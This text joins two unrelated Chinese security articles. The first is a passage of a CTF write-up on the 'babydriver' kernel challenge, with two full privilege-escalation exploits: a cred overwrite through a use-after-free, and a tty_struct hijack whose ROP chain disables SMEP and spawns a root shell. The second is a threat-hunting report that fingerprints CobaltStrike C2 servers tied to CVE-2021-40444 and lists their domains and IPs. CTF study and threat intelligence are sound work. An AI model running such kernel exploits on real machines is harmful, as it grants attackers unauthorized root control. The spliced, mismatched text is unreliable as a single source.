或
/ # cat sys/module/babydriver/sections/.text
0xffffffffc0000000
查看都需要root权限，所以之前要求调试的时候将权限改为root。
之后的断点就可以直接用符号下断。
#### EXP：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main(){
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
int a = ioctl(fd1,0x10001,0xa8);
close(fd1);
int pid = fork(); //创建新进程
if(pid < 0){
printf("error!");
exit(0);
}
else if(pid == 0){
char b[30] = {0};
write(fd2,b,30); //修改cred的uid为root
if(getuid() == 0){
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}
return 0;
}
#### 提权：
### 第二种解法（bypass smep）：
第一种方法比较难想，虽然看样子很简单，但是第二种解法就属于比较常规的了。因为该内核开启了smep保护，所以我们可以想办法绕过该保护来达到提权。该保护的作用是当
CPU 处于 `ring0` 模式时，执行 `用户空间的代码` 会触发页错误。
如何绕过：
因为系统是根据cr4寄存器的第20位来判断内核是否开启了smep，为1时开启，为0时关闭，所以绕过方法就是将第20位置0，但是该寄存器的值无法直接查看，只能通过kernel
crash时产生的信息查看：
> mov cr4,0x6f0
如何提取该rop：
因为vmlinux未经压缩，所以可以通过vmlinux来提取rop：
> ROPgadget —binary ./vmlinux > g2
>
> 或用ropper
>
> ropper --file ./vmlinux --nocolor > g1
该方法利用的是一个蛮有意思的一个结构体，为`tty_struct`：
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; < -- 这里
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
其中有一个很有用的结构体`tty_operations`：
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
其中有着许多的函数指针，所以说对于我们构造rop来说就非常有用。
* 如何调用这个结构体？
当`open("/dev/ptmx", O_RDWR)`时会创建一个tty_struct。
* 如何使用tty_operations中的函数指针？
往上面所open的文件中write就会调用其中的`int (*write)(struct tty_struct * tty,const unsigned
char *buf, int count);`函数，依次类推。
所以我们该如何去构造呢。根据上文的UAF利用可以很容易想到，我们一样可以利用UAF构造大小和tty_struct一样的空间去存储新建的tty_struct，从而达到修改tty结构体的效果，并且自行构造出`tty_operations`，修改其中的函数为我们的rop，从而在调用函数时成功劫持程序流到我们所构造的rop中。
先构造修改`const struct tty_operations *ops;`为fake_tty_operations：
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32); //读取前三组，保证和原先一样
fake_tty_str[3] = fake_tty_opera; //修改为fake_tty_operations
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
这里我们利用修改write来劫持程序流，write通过上面查得在第八组的位置，所以我们在第八组的位置构造上我们的rop，但是这里有一个问题就是，当劫持到我们rop时，此时的栈不是我们所构造的栈，是内核态的栈，我们没办法继续执行下去：
我起初这样构造`fake_tty_opera`：
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xffffffff8100ce6e, // pop rax ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
当执行write函数时，会跳转到`0xffffffff8100ce6e`处的fake_write执行，此时的状态如下：
此时需要我们把内核态的栈转化到我们构造的rop中去， **因为此时rax寄存器中存储着我们所构造的fake_tty_opera** ，所以可以使用：
mov rsp,rax
xchg rsp,rax
来将栈转换到用户态来，如此可以自由构造rop。我们来栈回溯看看情况：
当我们调用write的时候，会执行到我们构造的fake_tty_opera中的write函数偏移为8组的位置：
可以很容易从上面看出程序的执行流程。
所以把rop改改，改成这样：
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
即可转换内核态栈到用户态。
因为fake_tty_opera可供我们利用的空间太小，所以我们需要跳出去重新构造一个大空间的rop链。上面的rop已经完成了cr4寄存器的更改，即关闭了smep保护。接下来rop所要做的任务就是调用`commit_creds(prepare_kernel_cred(0))`函数来提权。这里因为已经关闭了smep所以可以直接用ret2usr方法来提权，后面构造的rop如下：
unsigned long rop[30] = {
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
这里需要注意的是这部分的rop和上部分的rop的栈也是不同的，所以在上部分的rop中也是需要栈迁移到第二部分的rop栈中去。接下来就是常规的getroot权限后，从内核态返回用户态再执行getshell的操作。这里有一个坑点就是：
不能将unsigned long rop[30]设置为unsigned long rop[]
不然会出现数组里的内容发生改变的效果，具体像这样：
但是执行完`dec ebx`之后就变为：
导致执行到getroot函数时执行的并不是真实地址，发生crash。但是我一直没弄明白为什么一个只对`ebx`寄存器产生影响的汇编句就把rop中的内容给改变了。但是限定上数组空间大小后就不会发生这样的情况。如有明白的请告诉我，感激不尽。
该方法主要介绍如何利用tty_struct利用UAF，并且利用tty_struct去bypass-smep保护，劫持程序流。不懂后面介绍的rop构造没关系，可以在下一篇文章中得到详细解答。
#### EXP：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
unsigned long user_cs,user_ss,user_rsp,user_flag;
unsigned long prepare_kernel_cred = 0xffffffff810a1810;
unsigned long commit_creds = 0xffffffff810a1420;
void save_state(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_flag;"
);
puts("[*] save the state success!");
}
void getshell(){
system("/bin/sh");
}
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
int main(){
save_state();
unsigned long rop[] = { //状态转化，getshell
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
unsigned long fake_tty_opera[30] = { //伪造的tty_opera
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
//printf("rop:%x",rop);
close(fd1);
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32);
fake_tty_str[3] = fake_tty_opera; //修改tty_struct
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
write(fd3,"V1NKe",5); //触发rop
return 0;
}
#### 提权：
### 参考链接：
* <http://myhackerworld.top/2019/01/06/%E5%86%85%E6%A0%B8pwn-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/>
* <http://p4nda.top/2018/10/11/ciscn-2017-babydriver/>
* <https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html>
* <https://www.anquanke.com/post/id/86490> | 社区文章 |
**作者：heige@知道创宇404实验室**
**原文链接：<https://mp.weixin.qq.com/s/t1y90KRz-SeEHChIHx9wEA> **
【注：文章里数据基于9月11日查询结果，目标部分数据已经覆盖更新】
## 前置知识
如果之前你没看过，请在看本文之前阅读下面2篇文章：
> [谈谈网络空间“行为测绘”](https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA)
>
> [【行为测绘应用实战】一个ZoomEye查询打尽BazarLoader
> C2](https://mp.weixin.qq.com/s/2WOfABt6QAoTG2H-3IfA4g)
## 正文
实际上这个是mhtml相关漏洞<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>，攻击者通过Word调用实现攻击，这个攻击样本已经到处都有了，为了方便直接引用趋势的分析报告了：
<https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day
--cve-2021-40444--hits-windows--tr.html>
从文章的最后IOCs列表里可以看到C2 Server涉及3个域名地址：
* hxxps://joxinu[.]com
* hxxps://dodefoh[.]com
* hxxp://pawevi[.]com/e32c8df2cf6b7a16/specify.html
直接ZoomEye搜索这3个域名：[](https://www.zoomeye.org/searchResult?q=dodefoh.com%20joxinu.com%20pawevi.com)
都覆盖到了，涉及3个ip：
IP：45.147.229.242 德国, 法兰克福 运营商：combahton.net
ZoomEye更新时间：2021-09-06 22:01
CobaltStrike Beacon 信息：
C2 Server: dodefoh.com,/hr.html,joxinu.com,/ml.html
C2 Server: dodefoh.com,/ml.html,joxinu.com,/hr.html
Spawnto_x86: %windir%\\syswow64\\rundll32.exe
证书信息：
Subject: CN=dodefoh.com
Issuer: C=GB,ST=Greater Manchester,UnknownOID=2.5.4.7,O=Sectigo Limited,CN=Sectigo RSA Domain Validation Secure Server CA
IP：104.194.10.21 美国, 皮斯卡特维 运营商：versaweb.com
ZoomEye更新时间：2021-07-14 01:40
CobaltStrike Beacon 信息：
C2 Server: dodefoh.com,/tab_shop_active,joxinu.com,/tab_shop_active
C2 Server: dodefoh.com,/tab_shop_active,joxinu.com,/ce
Spawnto_x86: %windir%\\syswow64\\rundll32.exe
证书信息:
Subject: CN=zikived.com
Issuer: C=GB,ST=Greater Manchester,UnknownOID=2.5.4.7,O=Sectigo Limited,CN=Sectigo RSA Domain Validation Secure Server CA
IP：45.153.240.220 德国, 法兰克福 运营商：combahton.net
ZoomEye更新时间：2021-08-29 15:25
Banner信息：简单目测下为Apache默认的
证书信息：
Subject: CN=pawevi.com
Issuer: C=US,O=Let's Encrypt,CN=R3
根据以上信息推断如下：
1、45.147.229.242 及 104.194.10.21 为攻击使用的 CobaltStrike 上线服务器。
其中45.147.229.242
为本次实际攻击调用，从证书来看绑定的就是dodefoh.com，而104.194.10.21为备用或者之前演习测试使用的，从证书来看之前还绑定域名为zikived.com
2、45.153.240.220 绑定的域名pawevi.com，为Apache WEB服务，从趋势提供的IOC来看应该是配合mhtml漏洞加载的远程页面。
我们留意到攻击者使用的CobaltStrike的banner及证书，有高度的人为修改配置过的痕迹，这就是典型的网络空间行为测绘中的“行为”特征：
45.147.229.242
HTTP/1.1 404 Not Found
Date: Mon, 6 Sep 2021 14:01:21 GMT
Server: Microsoft-IIS/8.5
Content-Type: text/plain
Cache-Control: max-age=1
Connection: keep-alive
X-Powered-By: ASP.NET
Content-Length: 0
证书：
Subject: CN=dodefoh.com
Issuer: C=GB,ST=Greater Manchester,UnknownOID=2.5.4.7,O=Sectigo Limited,CN=Sectigo RSA Domain Validation Secure Server CA
104.194.10.21
HTTP/1.1 404 Not Found
Cache-Control: max-age=1
Connection: keep-alive
X-Powered-By: ASP.NET
Content-Length: 0
Date: Tue, 13 Jul 2021 17:40:00 GMT
Server: Microsoft-IIS/8.5
Content-Type: text/plain
证书:
Subject: CN=zikived.com
Issuer: C=GB,ST=Greater Manchester,UnknownOID=2.5.4.7,O=Sectigo Limited,CN=Sectigo RSA Domain Validation Secure Server CA
单从证书Issuer内容匹配：
<https://www.zoomeye.org/searchResult?q=%22ST%3DGreater%20Manchester%22%20%2B%22O%3DSectigo%20Limited%2CCN%3DSectigo%20RSA%20Domain%20Validation%20Secure%20Server%20CA%22>
一共得到 6,376,104
条结果，很显然他们这个是在伪装某个通用程序(后文有确认)。那么我们提取下banner的特征，虽然顺序不太一样，内容基本一致，简单提取特征：
"HTTP/1.1 404 Not Found" +"Connection: keep-alive" +"X-Powered-By: ASP.NET" +"Content-Length: 0" +"Server: Microsoft-IIS" +"Content-Type: text/plain"
<https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22>
一共得到“About 576 results (Nearly year: 574 results)”结果，这里要注意一下，使用的是"Server:
Microsoft-IIS" 而不是"Server: Microsoft-IIS/8.5"，这个数据级还算比较符合一个“恶意组织”的规模，但是很可能还存在误报，比如可能不一定是这个团伙的，可能包含了其他团伙的结果，也有可能这个团伙活动的只是近期习惯使用IIS/8.5，历史上还用过其他版本的进行伪装。
我们继续加上证书的特征：
+"ST=Greater Manchester"
"HTTP/1.1 404 Not Found" +"Connection: keep-alive" +"X-Powered-By: ASP.NET" +"Content-Length: 0" +"Server: Microsoft-IIS" +"Content-Type: text/plain" +"ST=Greater Manchester"
<https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22%20%2B%22ST%3DGreater%20Manchester%22>
得到“About 326 results (Nearly year: 326 results)”条结果，检验下之前推断的版本问题情况：
"HTTP/1.1 404 Not Found" +"Connection: keep-alive" +"X-Powered-By: ASP.NET" +"Content-Length: 0" +"Server: Microsoft-IIS" +"Content-Type: text/plain" +"ST=Greater Manchester" -"Server: Microsoft-IIS/8.5"
<https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22%20%2B%22ST%3DGreater%20Manchester%22%20-%22Server%3A%20Microsoft-IIS%2F8.5%22>
看到了7条，大部分是“Server: Microsoft-IIS/10.0”，而且从banner特征可以看出来，符合Kong API
Gateway（https://github.com/Kong/kong）
的特征，看起来这个证书也是相关的，这个可能就是攻击者伪造的对象，从banner及证书Subject等写法来看是属于误报，这里直接排除掉：
"HTTP/1.1 404 Not Found" +"Connection: keep-alive" +"X-Powered-By: ASP.NET" +"Content-Length: 0" +"Server: Microsoft-IIS" +"Content-Type: text/plain" +"ST=Greater Manchester" -kong
<https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22%20%2B%22ST%3DGreater%20Manchester%22%20-kong>
一共319条结果，这个结果基本上是比较精确的，但是很可能存在漏报，因为考虑到证书没有获取或者没有配置ssl上线的情况，所以宽泛点可以使用如下语法：
"HTTP/1.1 404 Not Found" +"Connection: keep-alive" +"X-Powered-By: ASP.NET" +"Content-Length: 0" +"Server: Microsoft-IIS" +"Content-Type: text/plain" -kong -"Vary: Accept"
[https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22%20-kong%20-%22Vary%3A%20Accept%22&page=2&pageSize=20&t=all](https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20%20404%20Not%20Found%22%20%2B%22Connection%3A%20keep-alive%22%20%2B%22X-Powered-By%3A%20ASP.NET%22%20%2B%22Content-Length%3A%200%22%20%2B%22Server%3A%20Microsoft-IIS%22%20%2B%22Content-Type%3A%20text%2Fplain%22%20-kong%20-%22Vary%3A%20Accept%22&page=2&pageSize=20&t=all)
得到551条结果，其中-"Vary:
Accept"排除的是一个显而易见的误报，如果是用来做威胁情报判断可以启用这个所谓宽泛点的搜索结果，如果我们要继续对这个“组织”进行“画像”，要求比较精准，我们应该采用上面那个319的进行分析。
从国家发布来看主要分布在美国，少数在德国，荷兰有1个ip ,对证书及CobaltStrike Beacon的配置文件进行数据提取及统计：
证书里的subject对应的域名：
badiwaw.com -> 2
barovur.com -> 2
bemesak.com -> 1
beyezil.com -> 3
boatver.com -> 2
bucudiy.com -> 2
buloxo.com -> 1
bulozeb.com -> 2
buremih.com -> 2
cajeti.com -> 1
capuxix.com -> 2
cegabox.com -> 1
cohusok.com -> 1
comecal.com -> 2
comhook.com -> 1
cubigif.com -> 2
cujicir.com -> 1
cuyuzah.com -> 2
dahefu.com -> 1
damacat.com -> 2
dapapev.com -> 1
davevud.com -> 1
derotin.com -> 2
digised.com -> 1
dihata.com -> 2
dimuyum.com -> 2
dirupun.com -> 2
docrule.com -> 1
dodefoh.com -> 1
etcle.com -> 2
fepaza.com -> 2
finegeo.com -> 2
flexzap.com -> 2
fonazax.com -> 3
formpi.com -> 1
ganobaz.com -> 1
gerepa.com -> 1
gihevu.com -> 1
gisopow.com -> 1
gohaduw.com -> 2
govahuk.com -> 2
gucunug.com -> 1
hacoyay.com -> 2
hakakor.com -> 2
hakenu.com -> 2
hayitad.com -> 2
hejalij.com -> 1
hesovaw.com -> 2
hexihan.com -> 2
hireja.com -> 2
hitark.com -> 1
hiwiko.com -> 1
hizewad.com -> 2
hoguyum.com -> 2
howiwo.com -> 2
hubnick.com -> 1
hubojo.com -> 2
hufamal.com -> 1
hulixo.com -> 2
innohigh.com -> 1
jafiha.com -> 2
jecubat.com -> 2
jegufe.com -> 1
jenupe.com -> 1
jikoxaz.com -> 1
jinoso.com -> 2
jumpbill.com -> 1
kayohe.com -> 2
kedorux.com -> 1
keholus.com -> 2
kelowuh.com -> 1
kidukes.com -> 2
kizuho.com -> 2
koviluk.com -> 1
koxiga.com -> 3
kuhohi.com -> 1
kuwoxic.com -> 1
kuyeguh.com -> 1
lajipil.com -> 2
landhat.com -> 1
laputo.com -> 2
lessfox.com -> 1
lifige.com -> 1
lostzoom.com -> 1
lozobo.com -> 2
luherih.com -> 2
maloxob.com -> 2
masaxoc.com -> 2
mebonux.com -> 1
mevepu.com -> 2
meyalax.com -> 1
mgfee.com -> 2
mibiwom.com -> 2
moduwoj.com -> 1
nacicaw.com -> 1
nagiwo.com -> 1
nemupim.com -> 3
neoalt.com -> 2
newiro.com -> 1
newodi.com -> 1
nokuje.com -> 2
nupahe.com -> 2
nuzeto.com -> 1
nuzotud.com -> 1
pathsale.com -> 1
pavateg.com -> 2
paxobuy.com -> 2
payufe.com -> 3
pazovet.com -> 2
pecojap.com -> 2
pigaji.com -> 1
pilagop.com -> 2
pipipub.com -> 2
plushawk.com -> 1
pobosa.com -> 2
pofafu.com -> 1
pofifa.com -> 2
prorean.com -> 2
quickomni.com -> 1
raniyev.com -> 3
rasokuc.com -> 2
refebi.com -> 2
rinutov.com -> 2
riolist.com -> 2
rivuha.com -> 2
ronedep.com -> 1
roxiya.com -> 2
rucajit.com -> 1
rurofo.com -> 1
rusoti.com -> 2
sazoya.com -> 4
scalewa.com -> 3
secost.com -> 1
sexefo.com -> 2
showero.com -> 2
showmeta.com -> 1
showmod.com -> 1
sidevot.com -> 2
slicemia.com -> 1
somerd.com -> 1
sopoyeh.com -> 2
stacknew.com -> 1
surfell.com -> 1
tafobi.com -> 1
talkeve.com -> 2
tamunar.com -> 2
tepabaf.com -> 2
tepiwo.com -> 1
tifiru.com -> 1
tonbits.com -> 1
tophal.com -> 2
tosayoj.com -> 1
touchroof.com -> 3
tryddr.com -> 1
trywd.com -> 2
tucosu.com -> 2
upfros.com -> 1
vigave.com -> 1
vinayik.com -> 1
vumedoj.com -> 2
waceko.com -> 2
wezaju.com -> 2
wideri.com -> 2
wigeco.com -> 1
wingsst.com -> 1
winohak.com -> 2
wiwege.com -> 2
wordten.com -> 1
wudepen.com -> 2
wukeyos.com -> 1
wuluxo.com -> 2
xagadi.com -> 1
xesoxaf.com -> 1
xisiyi.com -> 1
xivuli.com -> 2
xoxalab.com -> 1
xudivum.com -> 1
yazorac.com -> 2
yedawu.com -> 1
yeruje.com -> 1
yeyidun.com -> 2
yipeyic.com -> 1
yisimen.com -> 2
yiyuro.com -> 2
yodofed.com -> 2
yowofe.com -> 1
yuxicu.com -> 4
zedoxuf.com -> 2
zeheza.com -> 2
zikived.com -> 2
zikojut.com -> 2
zojuya.com -> 2
zokotej.com -> 2
zosohev.com -> 1
zovipiy.com -> 1
zulomuw.com -> 2
zuveye.com -> 2
分布很均，没有特别集中分布的表现，开始以为是随机生成，通过ping后存活并可以得到对应的IP，ZoomEye搜索符合这个团队特征。另外注意域名比较短很可能是通过某些程序算法实现的并注册的。
证书jarm：
07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 : 29
07d14d16d21d21d07c42d41d00041d58c7162162b6a603d3d90a2b76865b53 : 31
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 : 7
分布比较集中。
CobaltStrike Beacon 配置信息中的C2 Server 列表：
IP地址 -> C2 Server -> 该IP下探测出该C2 Server的数量
23.106.215.137:443 -> laputo.com,/fr -> 1
23.19.227.178:443 -> gohaduw.com,/us.html -> 2
23.82.140.162:443 -> kidukes.com,/as -> 1
-> kidukes.com,/br -> 1
172.241.27.70:443 -> scalewa.com,/sm.html -> 40
23.106.223.184:443 -> hacoyay.com,/be -> 1
192.254.79.154:443 -> riolist.com,/av -> 32
23.108.57.230:443 -> pilagop.com,/an.html -> 1
192.198.89.242:443 -> zeheza.com,/ro -> 2
45.147.231.12:443 -> waceko.com,/FAQ.html -> 2
23.81.246.18:443 -> showero.com,/bn -> 9
-> showero.com,/lt -> 9
108.177.235.13:443 -> koviluk.com,/copyright.html -> 2
23.92.212.54:443 -> gerepa.com,/ce -> 2
209.222.98.225:443 -> showero.com,/bn -> 48
-> showero.com,/lt -> 49
104.243.33.123:443 -> pazovet.com,/dhl.js -> 2
108.62.141.5:443 -> touchroof.com,/modcp,focuslex.com,/modcp -> 32
172.93.105.162:443 -> mevepu.com,/modules.css -> 2
172.98.197.30:443 -> jinoso.com,/d_config -> 1
-> jinoso.com,/eso -> 1
23.108.57.186:443 -> kuyeguh.com,/ba.css -> 1
-> kuyeguh.com,/Content.css -> 1
23.106.160.95:443 -> zedoxuf.com,/links.html -> 2
103.195.100.2:443 -> yeyidun.com,/an -> 2
64.187.238.138:443 -> showmod.com,/an -> 8
-> showmod.com,/as -> 8
104.194.10.22:443 -> koxiga.com,/xmlconnect -> 2
209.222.101.221:443 -> ganobaz.com,/styles -> 1
-> ganobaz.com,/RELEASES -> 1
23.106.160.77:443 -> yawero.com,/skin.js,sazoya.com,/skin.js,192.198.86.130,/skin.js -> 2
23.106.160.143:443 -> dihata.com,/search.js -> 2
172.241.27.22:443 -> pigaji.com,/favicon.css -> 1
192.254.65.202:443 -> hireja.com,/Content -> 2
23.106.160.231:443 -> hoguyum.com,/rw -> 1
-> hoguyum.com,/da -> 1
209.222.104.194:443 -> bulozeb.com,/ak.html -> 16
-> bulozeb.com,/mg.html -> 16
192.198.93.86:443 -> yisimen.com,/link -> 1
-> yisimen.com,/es -> 1
23.108.57.50:443 -> kelowuh.com,/FAQ.js -> 1
-> kelowuh.com,/remove.js -> 1
209.222.98.33:443 -> dapapev.com,/br.js -> 1
-> dapapev.com,/fam_cart.js -> 1
173.234.155.86:443 -> xivuli.com,/nd.js -> 2
108.62.12.114:443 -> gimazic.com,/ur,fipoleb.com,/ur -> 2
23.82.140.156:443 -> tifiru.com,/btn_bg -> 2
206.221.176.171:443 -> nokuje.com,/tab_home -> 2
206.221.184.130:443 -> gohaduw.com,/us.html -> 2
204.16.247.104:443 -> wezaju.com,/nv -> 1
-> wezaju.com,/skin -> 1
199.191.56.170:443 -> tucosu.com,/ur.html -> 21
-> tucosu.com,/Content.html -> 21
185.150.190.54:443 -> raniyev.com,/styles.html,movufa.com,/styles.html -> 1
-> raniyev.com,/RELEASE.html,movufa.com,/styles.html -> 1
23.106.160.136:443 -> riolist.com,/av -> 6
104.243.34.210:443 -> wudepen.com,/template -> 2
104.243.42.31:443 -> wideri.com,/language.css -> 6
-> wideri.com,/tab_shop.css -> 6
209.222.101.21:443 -> lajipil.com,/lt.js -> 2
23.106.215.71:443 -> wukeyos.com,/modules -> 2
45.58.112.202:443 -> tepiwo.com,/ur.html -> 1
-> tepiwo.com,/be.html -> 1
23.108.57.145:443 -> hakakor.com,/logo.js -> 1
89.163.140.101:443 -> waceko.com,/FAQ.html -> 2
199.127.61.223:443 -> pofafu.com,/avatars -> 2
23.106.215.151:443 -> raniyev.com,/styles.html,movufa.com,/styles.html -> 1
